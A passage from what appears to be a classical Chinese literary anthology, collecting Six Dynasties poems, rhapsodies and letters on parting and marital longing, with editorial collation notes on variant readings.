相 思 白 露 亭 . 永 望 秋 风 渚 . 心 知 别 路 长 . 谁 谓 若 燕 楚 . 关 候 日 辽 绝 . 如 何 附 行 旅 . 愿 作 野 飞 鸟 . 飘 然 自 轻 举 .\n又 赠 吴 筠 诗 曰 . 山 桃 落 晚 红 . 野 蕨 开 初 紫 . 云 日 自 清 明 . 苹 芷 齐 靃 靡 . 离 念 已 郁 陶 . 物 华 复 如 此 .\n又 赠 吴 筠 诗 曰 . 远 游 济 伊 洛 . 秣 马 度 清 漳 . 邯 郸 饶 美 女 . 艳 色 含 春 芳 . 鼓 瑟 未 成 曲 . 跕 屣 复 翱 翔 . 我 本 游 客 子 . 情 爱 在 淮 阳 . 知 谁 新 不 乐 . 念 旧 苦 人 伤 .\n又 赠 吴 筠 诗 曰 . 秋 风 度 关 陇 . 楚 客 奏 归 音 . 飒 飒 避 霜 叶 . 离 离 出 塞 禽 .\n梁 何 逊 落 日 赠 范 岫 诗 曰 . 缘 沟 绿 草 蔓 . 扶 援 杂 花 舒 . 轻 烟 澹 柳 色 . 重 霞 掩 日 余 . 遥 遥 长 路 晚 . 寂 寂 行 人 疏 .\n又 日 夕 望 江 赠 鱼 司 马 诗 曰 . 湓 城 带 湓 水 . 湓 水 萦 如 带 . 日 夕 望 高 楼 . 耿 耿 青 云 外 . 城 中 多 宴 赏 . 丝 竹 常 繁 会 . 管 声 已 流 悦 . 弦 声 复 凄 切 . 歌 黛 惨 如 愁 . 舞 腰 疑 欲 绝 . 仲 秋 黄 叶 下 . 长 风 正 骚 屑 . 早 雁 出 云 归 . 故 鷰 辞 檐 别 . 昼 悲 在 异 县 . 夜 梦 还 洛 汭 . 洛 汭 何 悠 悠 . 起 望 登 西 楼 . 的 的 帆 向 浦 . 团 团 日 隐 洲 . 谁 能 一 羽 化 . 轻 举 逐 飞 浮 .\n梁 吴 筠 赠 周 兴 嗣 诗 曰 . 昔 贤 当 路 者 . 声 名 振 华 夏 . 朱 轮 玳 瑁 牛 . 紫 鞚 连 钱 马 . 朝 花 舞 风 中 . 夜 月 窥 窗 下 . 想 君 贵 易 朋 . 居 然 应 见 舍 .\n又 入 兰 台 赠 王 治 书 僧 孺 诗 曰 . 故 人 杨 子 云 . 校 书 麟 阁 下 . 寂 寞 少 交 游 . 纷 纶 富 文 雅 . 予 本 陇 西 使 . 寓 居 洛 阳 社 . 相 思 非 不 深 . 行 行 避 骢 马 .\n又 答 柳 恽 诗 曰 . 闲 房 肃 已 静 . 落 月 有 余 晖 . 寒 虫 隐 壁 思 . 秋 蛾 绕 烛 飞 . 绝 云 断 更 合 . 离 禽 去 复 归 . 佳 人 今 何 在 . 迢 递 江 之 沂 . 一 为 别 鹤 弄 . 千 里 泪 沾 衣 .\n又 赠 任 黄 门 诗 曰 . 相 如 体 英 彦 . 左 右 生 容 晖 . 已 纡 汉 帝 组 . 复 解 梁 王 衣 . 经 过 云 母 扇 . 出 入 千 门 扉 . 连 洲 茂 芳 社 . 长 山 郁 翠 微 . 欲 言 终 未 敢 . 徒 然 独 依 依 .\n又 酬 郭 临 丞 诗 曰 . 闻 君 立 名 义 . 我 亦 倦 晨 征 . 马 在 城 上 蹀 . ○ 原 作 堞 . 据 冯 校 本 改 . 剑 自 腰 中 鸣 . 白 日 辽 川 暗 . 黄 尘 垄 坻 惊 . 愿 君 但 衔 酒 . 深 知 有 素 诚 .\n又 酬 闻 人 侍 郎 诗 曰 . 怅 然 心 不 乐 . 万 里 向 悠 悠 . 陵 潮 憩 枉 渚 . 泊 暮 遵 江 州 . 君 住 青 门 上 . 我 发 霸 陵 头 . 相 思 自 有 处 . 春 风 明 月 楼 .\n又 诣 周 承 不 值 因 赠 此 诗 曰 . 竹 枝 任 风 转 . 兰 心 逐 风 卷 . 青 云 叶 上 团 . 白 露 花 中 泫 . 闻 君 入 绮 疏 . 聊 寄 锦 中 书 . 一 随 平 原 客 . 宁 忆 豫 章 徐 .\n又 遥 赠 周 承 诗 曰 . 巨 石 乱 天 崖 . 杂 树 郁 参 差 . 伯 鱼 留 蜀 郡 . 长 房 还 葛 陂 . 练 练 波 中 月 . 亭 亭 云 上 枝 . 高 岑 蔽 人 者 . 无 处 得 相 知 .\n又 周 承 未 还 重 赠 诗 曰 . 石 渠 阒 无 人 . 子 云 今 何 在 . 顾 望 独 凝 忧 . 衔 杯 竟 谁 待 . 散 雪 逐 吹 寒 . 蓬 姿 霜 雪 采 . 甘 泉 无 竹 花 . 鹓 鶵 欲 还 海 .\n隋 江 总 遇 长 安 使 寄 裴 尚 书 诗 曰 . 传 闻 令 ○ 文 苑 英 华 二 百 四 十 七 作 合 . 此 讹 . 浦 叶 . 远 向 洛 阳 飞 . 北 风 尚 嘶 马 . 南 冠 独 不 归 . 去 云 目 徒 送 . 离 琴 手 自 挥 . 征 蓬 失 处 所 . 春 草 屡 芳 菲 . 太 息 关 山 月 . 风 尘 客 子 衣 .\n【 赋 】 梁 劭 陵 王 赠 言 赋 曰 . 张 云 麾 问 望 之 美 . 作 牧 南 蕃 . 维 舟 江 汉 . 留 连 饮 饯 . 发 迈 有 期 . 会 面 无 日 . 依 依 别 袂 . 恨 恨 江 干 . 古 人 赠 别 以 言 . 聊 为 赠 言 赋 曰 . 昔 人 有 感 于 知 己 . 深 情 投 分 . 如 斯 已 矣 . 相 知 势 利 之 闲 . 实 君 子 之 所 鄙 . 静 言 神 交 之 际 . 亦 难 得 而 具 美 . 岂 直 鲜 其 令 终 . 曾 自 闻 其 善 始 . 日 逾 久 而 益 敬 . 盖 惟 一 人 者 尔 . 语 同 志 而 好 合 . 谅 今 古 之 皆 然 . 荀 托 御 而 自 说 . 徐 因 刍 而 请 前 . 况 英 声 与 茂 实 . 乃 绝 后 而 光 先 . 似 临 潭 而 镜 对 . 若 披 雾 而 睹 天 . 钦 爱 顾 之 罔 己 . 良 佩 服 之 在 旃 . 资 淑 美 之 上 才 . 超 群 雄 而 独 峻 . 德 既 深 于 万 顷 . 墙 有 高 乎 数 仞 . 思 若 神 而 泉 涌 . 文 如 华 而 玉 振 . 伊 薄 躯 之 固 陋 . 谬 摄 官 于 夏 汭 . 知 美 锦 之 难 裁 . 处 棼 丝 而 易 结 . 幸 中 途 而 遘 止 . 仰 旌 旆 之 踟 蹰 . 似 德 星 之 东 迈 . 类 祥 云 之 西 徂 . 亟 留 连 于 河 渚 . 或 终 宴 于 城 隅 . 赏 既 延 于 宾 友 . 欢 亦 洽 于 仆 夫 . 嗟 灰 琯 之 易 逝 . 慨 离 袂 之 云 促 . 惜 日 车 之 不 驻 . 恨 流 影 之 难 续 . 观 善 诱 而 不 倦 . 餐 好 音 而 未 足 . 伫 浮 云 之 可 寄 . 愿 无 比 乎 金 玉 .\n梁 张 缵 怀 音 赋 并 序 曰 . 西 平 劭 陵 王 . 以 亲 贤 作 蕃 夏 首 . 下 走 叨 窃 时 命 . 驱 传 湘 罗 . 久 托 下 风 . 素 蒙 淑 顾 . 及 涂 经 鄢 郢 . 淹 泊 累 旬 . 君 王 弹 随 珠 于 千 仞 . 乃 贻 之 以 丽 则 . 诗 云 怀 我 好 音 . 敢 为 怀 音 赋 云 尔 . 伊 宗 周 之 令 望 . 巡 召 南 而 述 职 . 襟 带 郧 夏 之 乡 . 宣 条 江 汉 之 域 . 服 诗 书 于 怀 袖 . 抱 仁 义 于 胸 臆 . 总 九 德 以 栖 身 . 横 四 溟 而 抚 翼 . 循 微 躬 之 末 迹 . 谬 驰 传 于 衡 嶷 . 由 洞 庭 而 左 转 . 指 酃 醴 而 为 期 . 仰 芳 尘 于 夏 汭 . 路 将 近 而 弥 滋 . 桌 陵 波 以 遄 务 . 舟 望 浦 而 倦 迟 . 自 清 光 之 末 觏 . 逾 一 纪 以 历 兹 . 敢 凭 情 于 往 昔 . 逢 君 恩 之 未 遗 . 陪 桂 苑 之 良 游 . 接 兰 台 之 高 会 . 既 醉 酒 以 饱 德 . 亦 倾 羞 而 缓 带 . 感 平 原 之 爱 客 . 伤 歧 路 之 难 留 . 恋 西 园 之 余 赏 . 泣 南 浦 之 徂 舟 . 结 烦 言 于 将 赠 . 情 有 重 乎 琳 球 . 顾 龙 门 其 不 见 . 过 夏 首 而 西 浮 . 申 服 义 之 未 沫 . 长 寄 言 于 还 邮 .\n梁 陆 倕 感 知 己 赋 赠 任 昉 曰 . 夜 申 旦 而 不 寐 . 独 匡 坐 而 怨 咨 . 命 仆 夫 而 夙 驾 . 指 南 馆 而 为 期 . 学 穷 书 府 . 文 究 辞 林 . 既 耳 闻 而 存 口 . 又 目 见 而 登 心 . 似 临 淄 之 借 书 . 类 东 武 之 飞 翰 . 轸 工 迟 于 长 卿 . 逾 巧 速 于 王 粲 . 固 乃 度 平 子 而 越 孟 坚 . 何 论 孔 璋 而 与 公 干 . 或 欲 涉 其 涯 涘 . 求 其 界 畔 . 则 浩 浩 . 彪 彪 ● ● . 譬 长 铗 于 削 中 . 若 龙 渊 与 蜀 汉 . 济 济 冠 盖 . 祁 祁 俊 逸 . 有 窃 风 以 味 道 . 咸 交 臂 而 屈 膝 . 或 望 路 以 窥 门 . 罕 升 堂 而 入 室 . 彼 春 兰 及 秋 菊 . 尚 无 绝 于 众 芳 . 矧 重 仁 与 袭 义 . 信 辽 辽 兮 未 央 . 言 追 意 而 不 逮 . 辞 欲 书 而 复 忘 . 窃 仰 高 而 希 骥 . 忽 脂 车 而 秣 马 . 既 一 顾 之 我 隆 . 亦 东 壁 之 余 假 . 似 延 州 之 如 旧 . 同 伯 喈 之 倒 屣 . 附 苍 蝇 于 骥 尾 . 托 明 镜 于 朝 光 . 谓 虚 无 而 为 有 . 布 籍 甚 于 游 扬 . 于 是 柔 条 飒 其 成 劲 . 白 露 变 而 为 霜 . 岁 忽 忽 而 遒 尽 . 忧 与 爱 兮 未 忘 . 聚 落 茎 于 虚 室 . 听 羁 雀 于 枯 杨 . 忳 郁 悒 其 谁 语 . 独 抚 抱 而 增 伤 . 托 异 人 以 蠲 忧 . 类 其 文 而 愈 疾 . 索 黄 琼 之 寄 居 . 造 安 仁 之 狭 室 . 车 出 门 其 已 欢 . 无 论 衔 杯 与 促 膝 . 譬 邹 子 之 吟 松 . 故 未 寒 而 能 栗 . 徒 纳 壤 以 作 高 . 陋 吞 舟 而 为 罔 . 值 墨 子 之 爱 兼 . 逢 太 丘 之 道 广 . 陪 九 万 以 齐 征 . 激 三 千 而 同 上 . 识 公 沙 于 杵 臼 . 拔 孝 相 于 无 名 . 非 夫 人 之 为 惑 . 孰 云 感 于 余 情 . 指 北 芒 以 作 誓 . 期 郁 郁 于 佳 城 .\n梁 任 昉 答 陆 倕 感 知 己 赋 曰 . 原 知 己 之 时 义 . 故 相 知 之 信 然 . 乃 贪 廉 之 异 贯 . 奈 勇 怯 之 相 悬 . 贪 在 物 而 成 累 . 怯 在 我 而 可 甄 . 既 自 得 于 为 御 . 又 甘 心 于 执 鞭 . 矧 相 知 其 如 此 . 独 揽 涕 而 潺 湲 . 虽 有 望 于 己 知 . 更 非 谓 其 知 己 . 信 伟 人 之 世 笃 . 本 侯 服 于 陆 卿 . 缅 风 流 与 道 素 . 袭 衮 衣 与 绣 裳 . 逮 伊 人 而 世 载 . 并 三 骏 而 龙 光 . 过 龙 津 而 一 息 . 望 凤 条 而 载 翔 . 彼 白 玉 之 虽 洁 . 此 幽 兰 之 信 芳 . 思 在 物 之 取 譬 . 非 升 斛 而 能 量 . 匹 方 峙 于 东 岳 . 比 凝 厉 于 秋 霜 . 不 一 饭 以 忘 过 . 每 三 钱 以 投 渭 . 匪 蒙 袂 之 敢 嗟 . 岂 沟 壑 之 能 衣 . 既 蕴 籍 其 有 余 . 又 淡 然 而 无 味 . 得 意 同 乎 卷 怀 . 违 方 似 乎 仗 气 . 类 平 叔 而 靡 雕 . 似 子 台 而 不 朴 . 冠 众 善 而 胎 操 . 综 群 言 而 名 学 . 折 高 戴 于 后 台 . 异 邹 颜 乎 董 幄 . 探 三 诗 于 河 闲 . 访 九 师 于 淮 曲 . 术 兼 口 传 之 书 . 艺 广 铿 锵 之 乐 . 时 坐 睡 而 悬 梁 . 裁 据 梧 而 锥 幄 . 唯 忘 年 之 陆 子 . 定 一 遇 于 班 荆 . 余 获 田 苏 之 价 . 尔 得 海 上 之 名 . 信 落 魄 而 无 产 . 终 长 勤 于 短 生 . 饥 虚 表 于 徐 步 . 逃 责 显 于 疾 行 . 子 比 我 于 叔 则 . 又 方 余 于 耀 卿 . 心 照 情 交 . 流 言 靡 惑 . 万 类 闇 求 . 千 里 悬 渴 . 言 象 可 废 . 筌 蹄 自 默 . 居 非 连 栋 . 行 待 舟 车 . 冬 夜 不 长 . 夏 日 靡 余 . 肴 核 非 饵 . 丝 竹 岂 娱 . 我 未 舍 驾 . 子 已 回 舆 . 中 饮 相 顾 . 怅 然 动 色 . 邦 壤 虽 殊 . 离 会 难 测 . 存 异 山 阳 之 居 . 没 非 要 离 之 侧 . 以 胶 投 漆 中 . 离 娄 岂 能 识 .\n【 书 】 后 汉 崔 瑗 与 葛 元 甫 书 曰 . 今 遣 奉 书 . 钱 千 为 贽 . 并 送 许 子 十 卷 . 贫 不 及 素 . 但 以 纸 耳 .\n后 汉 马 融 与 窦 伯 向 书 曰 . 孟 陵 奴 来 . 赐 书 . 见 手 迹 . 欢 喜 何 量 . 次 于 面 也 . 书 虽 两 纸 . 纸 八 行 . 行 七 字 . 七 八 五 十 六 字 . 百 一 十 二 言 耳 . 后 汉 延 笃 答 张 奂 书 曰 . 惟 别 三 年 . 梦 想 言 念 . 何 日 有 违 . 伯 英 来 . 惠 书 盈 四 纸 . 读 之 三 复 . 喜 不 可 言 .\n后 汉 张 奂 与 阴 氏 书 曰 . 笃 念 既 密 . 文 章 灿 烂 . 名 实 相 副 . 奉 读 周 旋 . 纸 弊 墨 渝 . 不 离 于 手 .\n晋 庾 冰 与 王 羲 之 书 曰 . 得 示 . 连 纸 一 丈 . 致 辞 一 千 .\n祗 增 其 叹 耳 . 了 无 解 于 往 怀 .\n又 . 角 枕 粲 兮 . 锦 衾 烂 兮 . 予 美 忘 此 . 谁 与 独 旦 .\n又 . 我 徂 东 山 . 滔 滔 不 归 . 我 来 自 东 . 零 雨 其 濛 . 鹳 鸣 于 垤 . 妇 叹 于 室 .\n又 . 采 绿 . 刺 怨 旷 也 . 幽 王 之 时 . 多 怨 旷 者 . 终 朝 采 绿 . 不 盈 一 匊 . 予 发 曲 局 . 薄 言 归 沐 . 终 朝 采 蓝 . 不 盈 一 襜 . 五 日 为 期 . 六 日 不 詹 .\n又 . 静 女 其 姝 . 俟 我 于 城 隅 . 爱 而 不 见 . 搔 首 踟 蹰\n又 . 燕 尔 新 婚 . 如 兄 如 弟 .\n又 曰 . 未 见 君 子 . 忧 心 忡 忡 . 亦 既 见 止 . 亦 既 觏 止 . 我 心 则 降 .\n又 . 未 见 君 子 . 忧 心 惙 惙 . 亦 既 见 止 . 亦 既 觏 止 . 我 心 则 悦 .\n左 传 . 晋 叔 向 曰 . 昔 贾 大 夫 恶 . 娶 妻 而 美 . 三 年 不 言 不 笑 . 御 以 如 皋 . 射 雉 获 之 . 其 妻 始 笑 而 言 .\n又 . 晋 文 公 谓 季 隗 曰 . 待 我 二 十 五 年 不 来 而 后 嫁 . 季 隗 曰 . 我 二 十 五 年 矣 . 又 如 是 而 嫁 . 则 就 木 焉 .\n说 苑 曰 . 齐 王 起 九 重 之 台 . 募 国 中 能 画 者 . 赐 之 钱 . 有 敬 君 . 居 常 饥 寒 . 其 妻 妙 色 . 敬 君 工 画 台 . 贪 赐 画 台 去 家 日 久 . 思 忆 其 妻 . 像 向 之 而 笑 . 傍 人 见 以 白 王 . 王 召 问 之 . 对 曰 . 有 妻 如 此 . 去 家 日 久 . 心 常 念 之 . 窃 画 其 像 . 以 慰 离 心 . 不 悟 上 闻 .\n汉 ○ 汉 下 脱 书 字 . 张 敞 为 妇 画 眉 . 帝 知 问 之 . 敞 曰 . 闺 房 之 内 . 夫 妇 之 私 . 有 过 此 者 .\n又 . 李 夫 人 得 幸 武 帝 而 卒 . 上 怜 悯 焉 . 图 画 其 像 于 甘 泉 宫 . 初 李 夫 人 病 笃 . 上 自 临 候 之 . 夫 人 蒙 被 谢 曰 . 妾 久 寝 病 . 形 貌 毁 坏 . 不 可 以 见 帝 . 上 曰 . 夫 人 病 亦 甚 . 殆 将 不 起 . 一 见 我 . 属 托 王 及 兄 弟 . 岂 不 快 哉 . 夫 人 曰 . 尊 官 在 帝 . 不 在 一 见 . 上 复 言 . 欲 必 见 之 . 夫 人 遂 转 面 向 壁 歔 欷 . 上 不 悦 而 起 . 夫 人 妹 让 之 曰 . 独 不 可 一 见 上 . 属 托 兄 弟 耶 . 夫 人 曰 . 不 见 帝 者 . 乃 欲 深 托 兄 弟 也 . 夫 以 色 事 人 者 . 色 衰 则 爱 弛 . 上 所 恋 恋 念 我 . 以 平 生 容 貌 也 . 今 见 我 毁 坏 . 颜 色 非 昔 . 必 且 畏 恶 我 . 尚 肯 思 复 录 其 兄 弟 哉 .\n风 俗 通 曰 . 有 张 伯 偕 仲 偕 兄 弟 . 形 貌 绝 相 类 . 仲 偕 妻 新 妆 竟 . 忽 见 伯 偕 . 乃 戏 问 曰 . 今 日 妆 饰 好 不 . 伯 偕 应 之 曰 . 我 伯 偕 也 . 妻 乃 趍 避 之 . 须 臾 . 又 见 伯 偕 . 犹 以 为 仲 偕 . 告 云 . 向 大 错 误 . 伯 偕 曰 . 我 故 伯 偕 也 .\n世 说 曰 . 王 浑 妻 钟 夫 人 . 每 尝 卿 浑 . 浑 曰 . 讵 可 尔 . 妻 曰 . 怜 爱 卿 . 是 以 卿 卿 . 我 不 卿 卿 . 谁 当 卿 卿 .\n又 曰 . 荀 奉 蒨 妻 曹 氏 . 有 艳 色 . 妻 常 病 热 . 奉 蒨 乃 出 中 庭 取 冷 . 还 . 以 家 ○ 世 说 惑 溺 篇 作 身 . 熨 之 . 妻 亡 人 吊 . 不 哭 而 神 伤 . 无 几 . 奉 蒨 亦 卒 .\n又 曰 . 孙 楚 妻 亡 . 至 祥 . 仍 为 诗 以 悼 之 . 王 武 子 见 其 文 曰 . 未 知 文 生 于 情 . 情 生 于 文 . 见 此 使 人 增 伉 俪 之 重 .\n湘 川 记 曰 . 舜 巡 狩 苍 梧 而 崩 . 三 妃 不 从 . 思 忆 舜 . 以 泪 染 竹 . 竹 尽 为 班 .\n【 诗 】 古 诗 曰 . 青 青 河 畔 草 . 郁 郁 园 中 柳 . 盈 盈 楼 上 女 . 皎 皎 当 窗 牖 . 峨 峨 红 粉 妆 . 纤 纤 出 素 手 . 昔 为 娼 家 女 . 今 为 荡 子 妇 . 荡 子 行 不 归 . 空 床 难 独 守 .\n又 曰 . 上 山 采 蘪 芜 . 下 山 逢 故 夫 . 长 跪 问 故 夫 . 新 人 复 何 如 . 新 人 虽 云 好 . 未 若 故 人 姝 . 其 色 似 相 类 . 手 爪 不 相 如 . 新 人 从 门 入 . 故 人 从 合 去 . 新 人 工 织 缣 . 故 人 工 织 素 . 织 缣 日 一 匹 . 织 素 五 丈 余 . 持 缣 将 比 素 . 新 人 不 如 故 .\n又 曰 . 兰 若 生 春 阳 . 涉 冬 犹 盛 滋 . 愿 言 追 昔 爱 . 情 款 感 四 时 . 美 人 在 云 端 . 天 路 隔 无 期 .\n后 汉 焦 仲 卿 妻 刘 氏 . 为 姑 所 遣 . 时 人 伤 之 . 作 诗 曰 . 孔 雀 东 南 飞 . 五 里 一 徘 徊 . 十 三 能 织 绮 . 十 四 学 裁 衣 . 十 五 弹 箜 篌 . 十 六 诵 书 诗 . 十 七 嫁 为 妇 . 心 中 常 苦 悲 . 君 既 为 府 史 . 守 节 情 不 移 . 鸡 鸣 入 机 织 . 夜 夜 不 得 息 . 三 日 断 五 疋 . 大 人 故 言 迟 . 非 为 织 作 迟 . 君 家 妇 难 为 . 妾 有 绣 腰 襦 . 葳 蕤 金 缕 光 . 红 罗 复 斗 帐 . 四 角 垂 香 囊 . 交 文 象 牙 簟 . 宛 转 素 丝 绳 . 鄙 贱 虽 可 薄 . 犹 中 迎 后 人 .\n魏 陈 王 曹 植 诗 曰 . 揽 衣 出 中 闺 . 逍 遥 步 两 楹 . 闲 房 何 寂 寥 . 绿 草 被 阶 庭 . 空 穴 自 生 风 . 百 鸟 翩 南 征 . 春 思 安 可 忘 . 忧 戚 与 君 并 . 佳 人 在 远 道 . 妾 身 单 且 茕 . 欢 会 难 再 遇 . 兰 芝 不 重 荣 . 人 皆 弃 旧 爱 . 君 岂 若 平 生 . 寄 松 为 女 萝 . 依 水 如 浮 萍 . 身 奉 衿 带 . 朝 夕 不 堕 倾 . 傥 终 顾 眄 恩 . 永 副 我 中 情 .\n又 曰 . 明 月 照 高 楼 . 流 光 正 徘 徊 . 上 有 愁 思 妇 . 悲 叹 有 余 哀 . 借 问 叹 者 谁 . 云 是 客 子 妻 . 君 行 逾 十 年 . 孤 妾 常 独 栖 . 君 若 清 路 尘 . 妾 若 浊 水 泥 . 浮 沉 各 异 势 . 会 合 何 时 谐 . 愿 为 西 南 风 . 长 游 ○ 文 选 二 十 三 作 逝 . 入 君 怀 . 君 怀 时 不 开 . 妾 心 将 何 依 .\n又 曰 . 西 北 有 织 妇 . 绮 缟 何 缤 纷 . 明 晨 秉 机 杼 . 日 晏 不 成 文 . 太 息 终 长 夜 . 悲 啸 入 青 云 . 妾 身 守 空 房 . 良 人 从 行 军 . 自 期 三 年 归 . 今 已 历 九 春 . 孤 鸟 绕 树 翔 . 噭 噭 鸣 索 群 . 愿 为 南 流 景 . 驰 光 见 我 君 .\n魏 徐 干 室 思 诗 曰 . 浮 云 何 洋 洋 . 愿 因 通 我 辞 . 一 逝 不 可 归 . 啸 歌 久 踟 蹰 . 人 离 皆 复 会 . 我 独 无 反 期 . 自 君 之 出 矣 . 明 镜 开 ○ 玉 台 新 咏 一 . 作 暗 . 疑 当 作 闭 . 不 治 . 思 君 如 流 水 . 何 有 穷 已 时 .\n晋 潘 岳 内 顾 诗 曰 . 静 居 怀 所 欢 . 登 城 望 四 泽 . 春 草 郁 青 青 . 桑 者 何 弈 弈 . 芳 林 振 丹 荣 . 渌 水 激 素 石 . 初 征 冰 未 泮 . 忽 焉 振 絺 绤 . 漫 漫 三 千 里 . 迢 迢 远 行 客 . 驰 情 恋 朱 颜 . 寸 阴 过 盈 尺 . 夜 愁 极 清 晨 . 朝 悲 终 日 夕 . 山 川 自 悠 永 . 愿 言 良 不 获 . 别 岭 诉 归 期 . 云 沉 不 可 释 .\n晋 陆 机 为 陆 思 远 妇 作 诗 曰 . 二 合 兆 嘉 偶 . 女 子 礼 有 行 . 洁 己 入 德 门 . 终 远 母 与 兄 . 如 何 时 宠 . 游 宦 忘 归 宁 . 虽 为 三 载 妇 . 顾 景 媿 虚 名 . 岁 暮 饶 悲 风 . 洞 房 凉 且 清 . 拊 枕 循 薄 质 . 非 君 谁 见 荣 . 离 君 多 悲 心 . 寤 寐 劳 人 情 . 敢 忘 桃 李 陋 . 侧 想 瑶 与 琼 . 又 拟 青 青 河 畔 草 诗 曰 . 靡 靡 江 离 草 . 熠 烁 生 河 侧 . 皎 皎 彼 姝 女 . 婀 娜 当 轩 织 . 粲 粲 娇 容 姿 . 灼 灼 美 颜 色 . 良 人 游 不 归 . 偏 栖 独 只 翼 . 空 房 来 悲 风 . 中 夜 起 叹 息 .\n又 拟 兰 若 生 春 阳 诗 曰 . 嘉 树 生 朝 阳 . 凝 想 封 其 条 . 执 心 守 时 信 . 岁 寒 终 不 凋 . 美 人 何 其 旷 . 的 的 在 云 霄 .\n晋 张 华 情 诗 曰 . 北 方 有 佳 人 . 端 坐 鼓 鸣 琴 . 终 晨 抚 管 弦 . 日 夕 不 成 音 . 忧 来 结 不 解 . 我 思 存 所 钦 .\n又 情 诗 曰 . 君 居 北 海 阳 . 妾 在 江 南 阴 . 悬 貌 极 脩 途 . 山 川 阻 且 深 . 承 欢 注 隆 爱 . 结 分 投 所 钦 . 衔 恩 守 笃 义 . 万 里 托 微 心 .\n又 诗 曰 . 游 目 四 野 外 . 逍 遥 独 延 伫 . 兰 蕙 缘 清 渠 . 繁 华 阴 渌 渚 . 佳 人 不 在 兹 . 取 之 欲 谁 与 . 巢 居 知 寒 风 . 穴 处 知 阴 雨 . 不 曾 远 别 离 . 安 知 慕 俦 侣 .\n宋 孝 武 帝 拟 室 ○ 原 讹 空 . 据 冯 校 本 改 . 思 诗 曰 . 自 君 之 出 矣 . 金 翠 闇 无 精 . 思 君 如 日 月 . 回 还 昼 夜 生 . 宋 江 夏 刘 义 恭 拟 诗 曰 . 自 君 之 出 矣 . 笥 锦 废 不 开 . 思 君 如 清 风 . 晓 夜 尝 徘 徊 .\n宋 颜 师 伯 拟 诗 曰 . 自 君 之 出 矣 . 芳 帷 低 不 举 . 思 君 如 回 雪 . 流 乱 无 端 绪 .\n齐 王 融 秋 胡 诗 曰 . 日 月 共 为 照 . 松 筠 俱 以 贞 . 佩 纷 甘 自 远 . 结 镜 待 君 明 . 且 协 金 兰 好 . 方 愉 琴 瑟 情 . 佳 人 忽 千 里 . 空 闺 积 思 生 .\n梁 简 文 帝 咏 人 弃 妾 诗 曰 . 昔 时 娇 玉 步 . 含 羞 花 烛 边 . 岂 言 心 爱 断 . 衔 啼 私 自 怜 . 但 觉 欢 成 愁 . 非 关 丑 易 妍 . 独 鹄 罢 中 路 . 孤 鸾 死 镜 前 .\n又 春 宵 诗 曰 . 花 树 含 春 藂 . 罗 帐 夜 长 空 . 风 声 随 篠 韵 . 月 色 与 池 同 . 彩 笺 徒 自 襞 . 无 信 往 云 中 .\n又 晓 思 诗 曰 . 晨 禽 争 学 啭 . 朝 花 乱 欲 开 . 鑪 烟 入 斗 帐 . 屏 风 隐 镜 台 . 红 妆 几 尽 泪 . 荡 子 何 当 来 .\n又 冬 晓 诗 曰 . 冬 朝 日 照 梁 . 含 愁 下 前 床 . 帷 褰 竹 叶 带 . 镜 转 菱 花 光 . 会 是 无 人 觉 . 何 用 早 红 妆 .\n又 秋 闺 夜 思 诗 曰 . 非 关 长 信 别 . 讵 是 良 人 征 . 九 重 忽 不 见 . 万 恨 满 心 生 . 夕 门 掩 鱼 钥 . 宵 床 悲 画 屏 . 回 月 临 阶 度 . 吟 虫 绕 砌 鸣 . 初 霜 实 细 叶 . 秋 风 吹 乱 萤 . 故 妆 犹 累 日 . 新 衣 裂 ○ 玉 台 新 咏 七 作 襞 . 未 成 . 欲 知 妾 不 寐 . 城 外 捣 砧 声 .\n又 倡 楼 怨 节 诗 曰 . 朝 日 斜 来 照 户 . 春 鸟 争 飞 出 林 . 片 光 片 影 皆 丽 . 一 声 一 啭 煎 心 . 上 林 纷 纷 花 落 . 淇 水 漠 漠 苔 浮 . 年 驰 节 流 易 尽 . 何 为 忍 意 含 羞 .\n又 春 别 诗 曰 . 别 观 蒲 萄 带 实 垂 . 江 南 豆 蔻 生 连 枝 . 无 情 无 意 又 如 此 . 有 心 有 恨 徒 别 离 .\n又 诗 曰 . 可 怜 淮 水 去 来 潮 . 春 堤 杨 柳 覆 河 桥 . 泪 痕 未 燥 讵 终 朝 . 行 闻 玉 佩 已 相 要 .\n又 诗 曰 . 桃 红 李 白 若 朝 妆 . 羞 持 憔 悴 比 新 芳 . 不 惜 暂 住 君 前 死 . 愁 无 西 国 更 生 香 .\n梁 元 帝 寒 闺 诗 曰 . 乌 鹊 夜 南 飞 . 良 人 行 未 归 . 池 水 浮 明 月 . 寒 风 送 捣 衣 . 愿 织 回 文 锦 . 因 君 寄 武 威 .\n又 闺 怨 诗 曰 . 荡 子 从 游 宦 . 思 妾 守 房 栊 . 尘 镜 朝 朝 掩 . 寒 床 夜 夜 空 . 若 非 有 欢 悦 . 何 事 久 西 东 . 知 人 相 望 否 . 泪 尽 梦 啼 中 .\n又 代 旧 姬 有 怨 诗 曰 . 宁 为 万 里 隔 . 乍 作 死 生 离 . 那 堪 眼 前 见 . 故 爱 逐 新 移 . 未 展 春 花 落 . 遽 被 凉 风 吹 . 怨 黛 舒 还 敛 . 啼 红 拭 复 垂 . 谁 能 巧 为 赋 . 黄 金 妾 不 赀 .\n又 别 诗 曰 . 昆 明 夜 月 光 如 练 . 上 林 朝 花 色 如 霰 . 花 朝 月 夜 动 春 心 . 谁 忍 相 思 今 不 见 .\n又 诗 曰 . 试 看 机 上 蛟 龙 锦 . 还 瞻 庭 里 合 欢 枝 . 映 日 通 风 影 珠 幔 . 飘 花 拂 叶 度 金 池 . 不 闻 离 人 当 重 合 . 唯 悲 合 罢 会 成 离 .\n又 诗 曰 . 门 前 杨 柳 乱 如 丝 . 直 置 佳 人 不 自 持 . 适 言 新 作 裂 纨 诗 . 谁 悟 今 成 织 素 辞 .\n又 诗 曰 . 日 暮 徙 倚 渭 桥 西 . 正 见 流 月 与 云 齐 . 若 使 月 光 无 近 远 . 应 照 离 人 今 暝 啼 .\n又 诗 曰 . 别 罢 花 枝 不 共 攀 . 别 后 书 信 不 相 关 . 欲 行 人 寄 消 息 . 衣 常 潮 水 暝 应 还 .\n又 诗 曰 . 三 月 桃 花 合 面 脂 . 五 月 新 油 好 煎 泽 . 莫 复 临 时 不 寄 人 . 漫 道 江 中 无 估 客 .\n梁 武 陵 王 萧 妃 夜 梦 诗 曰 . 昨 夜 梦 君 归 . 贱 妾 下 鸣 机 . 极 知 意 气 薄 . 不 着 去 时 衣 . 故 言 如 梦 里 . 赖 得 雁 书 飞 .\n梁 范 云 拟 古 诗 曰 . 自 君 之 出 矣 . 罗 帐 咽 秋 风 . 思 君 如 蔓 草 . 连 延 不 可 穷 .\n梁 王 僧 孺 为 何 逊 旧 姬 拟 上 山 采 蘼 